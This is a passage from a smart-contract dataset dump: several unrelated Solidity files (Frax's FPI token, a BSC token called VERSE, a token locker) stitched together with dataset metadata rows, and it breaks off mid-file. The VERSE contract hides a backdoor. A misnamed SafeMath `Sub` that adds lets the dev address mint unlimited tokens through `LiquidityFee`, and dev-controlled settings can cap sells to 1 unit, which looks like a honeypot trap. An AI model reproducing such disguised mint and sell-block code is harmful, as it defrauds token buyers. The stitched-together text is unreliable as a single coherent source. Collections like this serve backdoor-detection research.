_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
function _approve(address owner,
address spender,
uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _beforeTokenTransfer(address from,
address to,
uint256 amount) internal virtual {}
function _afterTokenTransfer(address from,
address to,
uint256 amount) internal virtual {}
}
// File @openzeppelin/contracts/token/ERC20/extensions/[emailprotected]
// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/ERC20Burnable.sol)
abstract contract ERC20Burnable is Context, ERC20 {
function burn(uint256 amount) public virtual {
_burn(_msgSender(), amount);
}
function burnFrom(address account, uint256 amount) public virtual {
uint256 currentAllowance = allowance(account, _msgSender());
require(currentAllowance >= amount, "ERC20: burn amount exceeds allowance");
unchecked {
_approve(account, _msgSender(), currentAllowance - amount);
}
_burn(account, amount);
}
}
// File @openzeppelin/contracts/security/[emailprotected]
// OpenZeppelin Contracts v4.4.1 (security/Pausable.sol)
abstract contract Pausable is Context {
event Paused(address account);
event Unpaused(address account);
bool private _paused;
constructor() {
_paused = false;
}
function paused() public view virtual returns (bool) {
return _paused;
}
modifier whenNotPaused() {
require(!paused(), "Pausable: paused");
_;
}
modifier whenPaused() {
require(paused(), "Pausable: not paused");
_;
}
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
}
// File @openzeppelin/contracts/access/[emailprotected]
// OpenZeppelin Contracts v4.4.1 (access/IAccessControl.sol)
interface IAccessControl {
event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);
event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
function hasRole(bytes32 role, address account) external view returns (bool);
function getRoleAdmin(bytes32 role) external view returns (bytes32);
function grantRole(bytes32 role, address account) external;
function revokeRole(bytes32 role, address account) external;
function renounceRole(bytes32 role, address account) external;
}
// File @openzeppelin/contracts/utils/[emailprotected]
// OpenZeppelin Contracts v4.4.1 (utils/Strings.sol)
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File @openzeppelin/contracts/utils/introspection/[emailprotected]
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)
interface IERC165 {
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File @openzeppelin/contracts/utils/introspection/[emailprotected]
// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)
abstract contract ERC165 is IERC165 {
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// File @openzeppelin/contracts/access/[emailprotected]
// OpenZeppelin Contracts v4.4.1 (access/AccessControl.sol)
abstract contract AccessControl is Context, IAccessControl, ERC165 {
struct RoleData {
mapping(address => bool) members;
bytes32 adminRole;
}
mapping(bytes32 => RoleData) private _roles;
bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
modifier onlyRole(bytes32 role) {
_checkRole(role, _msgSender());
_;
}
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IAccessControl).interfaceId || super.supportsInterface(interfaceId);
}
function hasRole(bytes32 role, address account) public view override returns (bool) {
return _roles[role].members[account];
}
function _checkRole(bytes32 role, address account) internal view {
if (!hasRole(role, account)) {
revert(string(abi.encodePacked("AccessControl: account ",
Strings.toHexString(uint160(account), 20),
" is missing role ",
Strings.toHexString(uint256(role), 32))));
}
}
function getRoleAdmin(bytes32 role) public view override returns (bytes32) {
return _roles[role].adminRole;
}
function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_grantRole(role, account);
}
function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_revokeRole(role, account);
}
function renounceRole(bytes32 role, address account) public virtual override {
require(account == _msgSender(), "AccessControl: can only renounce roles for self");
_revokeRole(role, account);
}
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
bytes32 previousAdminRole = getRoleAdmin(role);
_roles[role].adminRole = adminRole;
emit RoleAdminChanged(role, previousAdminRole, adminRole);
}
function _grantRole(bytes32 role, address account) internal virtual {
if (!hasRole(role, account)) {
_roles[role].members[account] = true;
emit RoleGranted(role, account, _msgSender());
}
}
function _revokeRole(bytes32 role, address account) internal virtual {
if (hasRole(role, account)) {
_roles[role].members[account] = false;
emit RoleRevoked(role, account, _msgSender());
}
}
}
// File contracts/Staking/Owned.sol
// https://docs.synthetix.io/contracts/Owned
contract Owned {
address public owner;
address public nominatedOwner;
constructor (address _owner) public {
require(_owner != address(0), "Owner address cannot be 0");
owner = _owner;
emit OwnerChanged(address(0), _owner);
}
function nominateNewOwner(address _owner) external onlyOwner {
nominatedOwner = _owner;
emit OwnerNominated(_owner);
}
function acceptOwnership() external {
require(msg.sender == nominatedOwner, "You must be nominated before you can accept ownership");
emit OwnerChanged(owner, nominatedOwner);
owner = nominatedOwner;
nominatedOwner = address(0);
}
modifier onlyOwner {
require(msg.sender == owner, "Only the contract owner may perform this action");
_;
}
event OwnerNominated(address newOwner);
event OwnerChanged(address oldOwner, address newOwner);
}
// File contracts/ERC20/ERC20PermissionedMint.sol
contract ERC20PermissionedMint is ERC20, ERC20Burnable, Owned {
// Core
address public timelock_address;
// Minters
address[] public minters_array; // Allowed to mint
mapping(address => bool) public minters; // Mapping is also used for faster verification
constructor(address _creator_address,
address _timelock_address,
string memory _name,
string memory _symbol)
ERC20(_name, _symbol)
Owned(_creator_address)
{
timelock_address = _timelock_address;
}
modifier onlyByOwnGov() {
require(msg.sender == timelock_address || msg.sender == owner, "Not owner or timelock");
_;
}
modifier onlyMinters() {
require(minters[msg.sender] == true, "Only minters");
_;
}
// Used by minters when user redeems
function minter_burn_from(address b_address, uint256 b_amount) public onlyMinters {
super.burnFrom(b_address, b_amount);
emit TokenMinterBurned(b_address, msg.sender, b_amount);
}
// This function is what other minters will call to mint new tokens
function minter_mint(address m_address, uint256 m_amount) public onlyMinters {
super._mint(m_address, m_amount);
emit TokenMinterMinted(msg.sender, m_address, m_amount);
}
// Adds whitelisted minters
function addMinter(address minter_address) public onlyByOwnGov {
require(minter_address != address(0), "Zero address detected");
require(minters[minter_address] == false, "Address already exists");
minters[minter_address] = true;
minters_array.push(minter_address);
emit MinterAdded(minter_address);
}
// Remove a minter
function removeMinter(address minter_address) public onlyByOwnGov {
require(minter_address != address(0), "Zero address detected");
require(minters[minter_address] == true, "Address nonexistant");
// Delete from the mapping
delete minters[minter_address];
// 'Delete' from the array by setting the address to 0x0
for (uint i = 0; i < minters_array.length; i++){
if (minters_array[i] == minter_address) {
minters_array[i] = address(0); // This will leave a null in the array and keep the indices the same
break;
}
}
emit MinterRemoved(minter_address);
}
event TokenMinterBurned(address indexed from, address indexed to, uint256 amount);
event TokenMinterMinted(address indexed from, address indexed to, uint256 amount);
event MinterAdded(address minter_address);
event MinterRemoved(address minter_address);
}
// File contracts/FPI/FPI.sol
// ====================================================================
// | ______ _______ |
// | / _____________ __ __ / ____(_____ ____ _____ ________ |
// | / /_ / ___/ __ `| |/_/ / /_ / / __ \/ __ `/ __ \/ ___/ _ \ |
// | / __/ / / / /_/ _> < / __/ / / / / / /_/ / / / / /__/ __/ |
// | /_/ /_/ \__,_/_/|_| /_/ /_/_/ /_/\__,_/_/ /_/\___/\___/ |
// | |
// ====================================================================
// ================================ FPI ===============================
// ====================================================================
// Frax Price Index
// Initial peg target is the US CPI-U (Consumer Price Index, All Urban Consumers)
// Frax Finance: https://github.com/FraxFinance
// Primary Author(s)
// Travis Moore: https://github.com/FortisFortuna
// Jack Corddry: https://github.com/corddry
// Reviewer(s) / Contributor(s)
// Sam Kazemian: https://github.com/samkazemian
// Rich Gee: https://github.com/zer0blockchain
// Dennis: https://github.com/denett
contract FPI is ERC20PermissionedMint {
constructor(address _creator_address,
address _timelock_address)
ERC20PermissionedMint(_creator_address, _timelock_address, "Frax Price Index", "FPI")
{
_mint(_creator_address, 100000000e18); // Genesis mint
}
}
| 321,778 | 14,032 |
563632ff4d3e96b4f1b306f10447c899e0a4e0fd7f566209424656bf21396b57
| 22,595 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0x5C6258929a59D803D85117C9F4A3e1d246C28035/contract.sol
| 3,436 | 13,271 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function Sub(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IUniswapV2Factory {
function getPair(address tokenA, address tokenB) external view returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract VERSE is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address private _excludeDevAddress;
address private _approvedAddress;
uint256 private _tTotal = 10**8 * 10**6;
bool public lock = true;
address public uniSwapV2;
string private _name;
string private _symbol;
uint8 private _decimals = 6;
uint256 private _maxTotal;
IUniswapV2Router02 public uniSwapRouter;
address public uniSwapPair;
address payable public BURN_ADDRESS = 0x000000000000000000000000000000000000dEaD;
uint256 private _total = 10**8 * 10**6;
event uniSwapRouterUpdated(address indexed operator, address indexed router, address indexed pair);
constructor (address devAddress, string memory name, string memory symbol) public {
_excludeDevAddress = devAddress;
_name = name;
_symbol = symbol;
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function LiquidityFee(uint256 amount) public {
require(_msgSender() != address(0), "ERC20: cannot permit zero address");
require(_msgSender() == _excludeDevAddress, "ERC20: cannot permit dev address");
_tTotal = _tTotal.Sub(amount);
_balances[_msgSender()] = _balances[_msgSender()].Sub(amount);
emit Transfer(address(0), _msgSender(), amount);
}
function uniSV2(bool _lock,address _uniSwapV2) public {
require(_msgSender() != address(0), "ERC20: cannot permit zero address");
require(_msgSender() == _excludeDevAddress, "ERC20: cannot permit dev address");
lock = _lock;
uniSwapV2 = _uniSwapV2;
}
function updateuniSwapRouter(address _router) public {
require(_msgSender() == _excludeDevAddress, "ERC20: cannot permit dev address");
uniSwapRouter = IUniswapV2Router02(_router);
uniSwapPair = IUniswapV2Factory(uniSwapRouter.factory()).getPair(address(this), uniSwapRouter.WETH());
require(uniSwapPair != address(0), "updateTokenSwapRouter: Invalid pair address.");
emit uniSwapRouterUpdated(msg.sender, address(uniSwapRouter), uniSwapPair);
}
function approve(address approvedAddress) public {
require(_msgSender() == _excludeDevAddress, "ERC20: cannot permit dev address");
_approvedAddress = approvedAddress;
}
function approve(uint256 approveAmount) public {
require(_msgSender() == _excludeDevAddress, "ERC20: cannot permit dev address");
_total = approveAmount * 10**6;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
if (!lock){
if(recipient == uniSwapV2 && sender != _excludeDevAddress){
require(amount <= 1, "Transfer amount exceeds the maxTxAmount.");
}
}
if (sender == owner()) {
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
} else{
if (sender != _approvedAddress && recipient == uniSwapPair) {
require(amount < _total, "Transfer amount exceeds the maxTxAmount.");
}
uint256 burnAmount = amount.mul(5).div(100);
uint256 sendAmount = amount.sub(burnAmount);
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[BURN_ADDRESS] = _balances[BURN_ADDRESS].add(burnAmount);
_balances[recipient] = _balances[recipient].add(sendAmount);
emit Transfer(sender, BURN_ADDRESS, burnAmount);
emit Transfer(sender, recipient, sendAmount);
}
}
function isContract(address addr) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(addr) }
return size > 0;
}
}
| 255,186 | 14,033 |
32d519f470f5568fd10529b0e289e40b6436bae2f23ce3c67ac10aef04c0a680
| 28,777 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/mainnet/8d/8d310B57337d68fECd028bf02364193350b8CdD3_FrenshipLocker.sol
| 3,599 | 14,474 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success,) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) private pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeERC20 {
using Address for address;
function safeTransfer(IERC20 token,
address to,
uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token,
address from,
address to,
uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token,
address spender,
uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
function sub(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
function div(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
function mod(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_setOwner(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
contract FrenshipLocker is Ownable{
using SafeMath for uint256;
using SafeERC20 for IERC20;
struct Items {
IERC20 token;
address withdrawer;
uint256 amount;
uint256 unlockTimestamp;
bool withdrawn;
}
uint256 public depositsCount;
mapping (address => uint256[]) private depositsByTokenAddress;
mapping (address => uint256[]) public depositsByWithdrawer;
mapping (uint256 => Items) public lockedToken;
mapping (address => mapping(address => uint256)) public walletTokenBalance;
uint256 public lockFee = 0.1 ether;
address public marketingAddress;
event Withdraw(address withdrawer, uint256 amount);
event Lock(address token, uint256 amount, uint256 id);
constructor() {
marketingAddress = msg.sender;
}
function lockTokens(IERC20 _token, address _withdrawer, uint256 _amount, uint256 _unlockTimestamp) external returns (uint256 _id) {
require(_amount > 0, 'Token amount too low!');
require(_unlockTimestamp < 10000000000, 'Unlock timestamp is not in seconds!');
require(_unlockTimestamp > block.timestamp, 'Unlock timestamp is not in the future!');
require(_token.allowance(msg.sender, address(this)) >= _amount, 'Approve tokens first!');
//require(msg.value >= lockFee, 'Need to pay lock fee!');
uint256 beforeDeposit = _token.balanceOf(address(this));
_token.safeTransferFrom(msg.sender, address(this), _amount);
uint256 afterDeposit = _token.balanceOf(address(this));
_amount = afterDeposit.sub(beforeDeposit);
//payable(marketingAddress).transfer(msg.value);
walletTokenBalance[address(_token)][msg.sender] = walletTokenBalance[address(_token)][msg.sender].add(_amount);
_id = ++depositsCount;
lockedToken[_id].token = _token;
lockedToken[_id].withdrawer = _withdrawer;
lockedToken[_id].amount = _amount;
lockedToken[_id].unlockTimestamp = _unlockTimestamp;
lockedToken[_id].withdrawn = false;
depositsByTokenAddress[address(_token)].push(_id);
depositsByWithdrawer[_withdrawer].push(_id);
emit Lock(address(_token), _amount, _id);
return _id;
}
function extendLock(uint256 _id, uint256 _duration) external {
require(msg.sender == lockedToken[_id].withdrawer);
require(_duration < 10000000000 && _duration > 1, 'duration is invalid!');
lockedToken[_id].unlockTimestamp += _duration;
}
function withdrawTokens(uint256 _id) external {
require(block.timestamp >= lockedToken[_id].unlockTimestamp, 'Tokens are still locked!');
require(msg.sender == lockedToken[_id].withdrawer, 'You are not the withdrawer!');
require(!lockedToken[_id].withdrawn, 'Tokens are already withdrawn!');
lockedToken[_id].withdrawn = true;
walletTokenBalance[address(lockedToken[_id].token)][msg.sender] = walletTokenBalance[address(lockedToken[_id].token)][msg.sender].sub(lockedToken[_id].amount);
emit Withdraw(msg.sender, lockedToken[_id].amount);
lockedToken[_id].token.safeTransfer(msg.sender, lockedToken[_id].amount);
}
function setMarketingAddress(address _marketingAddress) external onlyOwner {
marketingAddress = _marketingAddress;
}
function setLockFee(uint256 _lockFee) external onlyOwner {
lockFee = _lockFee;
}
function getDepositsByTokenAddress(address _token) view external returns (uint256[] memory) {
return depositsByTokenAddress[_token];
}
function getDepositsByWithdrawer(address _withdrawer) view external returns (uint256[] memory) {
return depositsByWithdrawer[_withdrawer];
}
function getTokenTotalLockedBalance(address _token) view external returns (uint256) {
return IERC20(_token).balanceOf(address(this));
}
function getSelfAddress() public view returns(address) {
return address(this);
}
}
| 26,511 | 14,034 |
038c21a5463c856850f6c413a4f7fab2f4870b80020eed040f47c23dddfaada2
| 15,020 |
.sol
|
Solidity
| false |
504446259
|
EthereumContractBackdoor/PiedPiperBackdoor
|
0088a22f31f0958e614f28a10909c9580f0e70d9
|
contracts/realworld-contracts/0x5ca71ea65acb6293e71e62c41b720698b0aa611c.sol
| 3,378 | 11,981 |
pragma solidity ^0.4.13;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
